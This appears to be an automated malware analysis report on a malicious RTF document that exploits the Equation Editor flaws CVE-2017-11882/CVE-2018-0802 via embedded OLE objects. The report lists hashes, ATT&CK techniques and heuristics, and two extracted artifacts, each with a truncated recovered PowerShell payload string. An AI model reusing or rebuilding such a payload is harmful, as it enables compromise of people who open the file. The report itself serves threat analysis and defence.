RTF malware analysis — malicious · fef65b3c9bfcf545

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28

MD5: 8f16b31859ef53fd3fb6b5bdfa0b4491 SHA-1: ef45922ff54b5ebf85f13b71b20f4ba889b9d30e SHA-256: fef65b3c9bfcf545d0bc4e201fb845221d40841e0ead3d9beabfef991a7ca459

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	3581 bytes
SHA-256: `6d1aefea25b5196d83ecfd5caab892ac0eff5a52ab0cec7566f9a8041b816834`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE
`objdata_01_off000014f9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x14F9	1206 bytes
SHA-256: `bd21fb068b8749e508ad2bdd4b44e662ec1ebfd58a52d7ea046b363f75eb3e6e`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE

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